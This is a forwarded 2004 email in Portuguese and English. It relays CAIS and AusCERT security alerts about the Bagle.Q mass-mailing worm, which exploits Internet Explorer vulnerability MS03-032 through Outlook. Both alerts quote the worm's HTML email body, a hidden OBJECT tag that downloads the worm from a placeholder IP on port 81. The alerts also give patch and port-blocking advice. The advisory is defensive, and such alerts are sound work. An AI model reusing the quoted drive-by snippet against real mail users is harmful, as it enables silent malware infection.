Tomem suas medidas preventivas. Este está se espalhando bem rápido.
Boa sorte pra todos nós, Alex
-------- Original Message --------
Subject: [ALERTA] CAIS-Alerta: Nova variante do Worm Bagle.Q (AUSCERT AL-2004.07)
Date: Thu, 18 Mar 2004 13:55:54 -0300 (BRST)
From: Centro de Atendimento a Incidentes de Seguranca <[EMAIL PROTECTED]>
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Prezados,
O CAIS esta' repassando o alerta divulgado pelo AUSCERT,"(AUSCERT AL-2004.07) AUSCERT ALERT - Worm Bagle.Q exploits Internet Explorer and Outlook Vulnerability", tratando da propagacao de uma variante do Worm Bagle.Q que explora vulnerabilidade no Internet Explorer e Microsoft Outlook.
A variante Q explora uma vulnerabilidade identificada no Internet Explorer que permite ao worm infectar o sistema sem a intervencao do usuario e sem a presenca do executavel anexado na mensagem. O Microsoft Outlook e' vulneravel a este Worm pois utiliza o Internet Explorer para visualisar mensagens HTML.
A infeccao do sistema ocorre em duas etapas:
. Um mensagem e' recebida com o seguinte conteudo:
<html><body> <font face="System"> <OBJECT STYLE="display:none" DATA="http://<IP address>:81/373273.php"> </OBJECT></body></html>
. A leitura da mensagem com um dos aplicativos de email vulneraveis (Microsft Outlook e Microsoft Outllok Express), permite que o virus/worm seja carregado atraves de uma conexao http com o IP especificado no corpo da mensagem.
Sistemas infectados pelo worm passarao a enviar mensagens para os enderecos de email encontrados na maquina vitima.
A vulnerabilidade explorada pelo Worm foi descrita nos seguintes alertas:
. Patch Acumulativo para o Internet Explorer (822925) http://www.rnp.br/cais/alertas/2003/MS03-032.html
. Microsoft Security Bulletin MS03-032 http://www.microsoft.com/technet/security/bulletin/MS03-032.mspx
Em virtude da exploracao da vulnerabilidade e da potencial propagacao do Worm, o CAIS recomenda que sejam aplicadas as correcoes necessarias com urgencia, conforme descrito nos alertas citados acima.
Maiores Informacoes:
. Sophos http://www.sophos.com/virusinfo/analyses/w32bagleq.html
. Computer Associates http://www3.ca.com/threatinfo/virusinfo/virus.aspx?id=38599
. McAfee http://us.mcafee.com/virusInfo/default.asp?id=description&virus_k=101108
. Trend Micro http://www.trendmicro.com/vinfo/virusencyclo/default5.asp?VName=PE_BAGLE.Q&VSect=T
. AL-2004.07 -- New Bagle.Q Worm Spreading Rapidly http://www.auscert.org.au/render.html?it=3957
. Patch Acumulativo para o Internet Explorer (822925) http://www.rnp.br/cais/alertas/2003/MS03-032.html
. Microsoft Security Bulletin MS03-032 http://www.microsoft.com/technet/security/bulletin/MS03-032.mspx
O CAIS recomenda aos administradores de plataformas Microsoft que mantenham seus sistemas e aplicativos sempre atualizados.
Atenciosamente,
################################################################ # CENTRO DE ATENDIMENTO A INCIDENTES DE SEGURANCA (CAIS) # # Rede Nacional de Ensino e Pesquisa (RNP) # # # # [EMAIL PROTECTED] http://www.cais.rnp.br # # Tel. 019-37873300 Fax. 019-37873301 # # Chave PGP disponivel http://www.rnp.br/cais/cais-pgp.key # ################################################################
=========================================================================== A U S C E R T A L E R T
AL-2004.07 -- AUSCERT ALERT
New Bagle.Q Worm Spreading Rapidly
18 March 2004===========================================================================
AusCERT is aware of local activity by a new type of mass-mailing worm. Dubbed Bagle.Q, this worm exploits a recent vulnerability in the Microsoft Internet Explorer engine to allow infection without active user intervention and without including the virus executable in the email message. The worm has two stages of execution:
1. An email message is received with the following (example) body:
<html><body>
<font face="System">
<OBJECT STYLE="display:none" DATA="http://<IP address>:81/373273.php">
</OBJECT></body></html> 2. Upon preview within vulnerable mail applications (eg Microsoft
Outlook and Microsoft Outlook Express), the virus/worm body is
downloaded via HTTP from the IP address in the DATA field of the
HTML message.Machines infected with the worm repeat the process, using the worm's inbuilt SMTP engine to send the message to addresses harvested from various files on the computer, and constructed with a DATA field containing either the infected machine's IP address or one from a hard-coded list of IP addresses in the worm itself.
The vulnerability exploited by this worm is Microsoft Security Bulletin MS03-032 [2][3]. System administrators should apply the measures described in that advisory to correct the vulnerability, either manually or by using Windows Update. Anti-virus vendors will have updated signature files available soon, and these should be applied as soon as possible.
It appears, so far, that the URL used to download the viral executable consistently uses TCP port 81, so sites may wish to block that port outbound as a stop-gap measure while more permanent measures are prepared. However, as some legitimate web sites utilise this port, this measure should be regarded as temporary only.
References:
[1] Protecting your computer from malicious code
http://www.auscert.org.au/3352[2] Microsoft Security Bulletin MS03-032
http://www.microsoft.com/technet/security/bulletin/MS03-032.mspx[3] AusCERT External Security Bulletin ESB-2003.0588
http://www.auscert.org.au/3371[4] Sophos
http://www.sophos.com/virusinfo/analyses/w32bagleq.html[5] Computer Associates
http://www3.ca.com/threatinfo/virusinfo/virus.aspx?id=38599[6] McAfee
http://us.mcafee.com/virusInfo/default.asp?id=description&virus_k=101108[7] Trend Micro
http://www.trendmicro.com/vinfo/virusencyclo/default5.asp?VName=PE_BAGLE.Q&VSect=T- ---------------------------------------------------------------------------
The AusCERT team has made every effort to ensure that the information contained in this security bulletin is accurate at the time of publication. However, the decision to follow or act on information or advice contained in this security bulletin is the responsibility of each user or organisation, and should be considered in accordance with your organisation\'s site policies and procedures. AusCERT takes no responsibility for consequences which may arise from following or acting on information or advice contained in this security bulletin.
If you believe that your computer system has been compromised or attacked in any way, we encourage you to let us know by completing the secure National IT Incident Reporting Form at:
http://www.auscert.org.au/render.html?it=3192
AusCERT maintains a World Wide Web service which is found on: http://www.auscert.org.au.
Internet Email: [EMAIL PROTECTED]
Facsimile: (07) 3365 7031
Telephone: (07) 3365 4417 (International: +61 7 3365 4417)
AusCERT personnel answer during Queensland business
hours which are GMT+10:00 (AEST). On call after hours
for member emergencies only.Postal: Australian Computer Emergency Response Team The University of Queensland Brisbane Qld 4072 AUSTRALIA ===========================================================================
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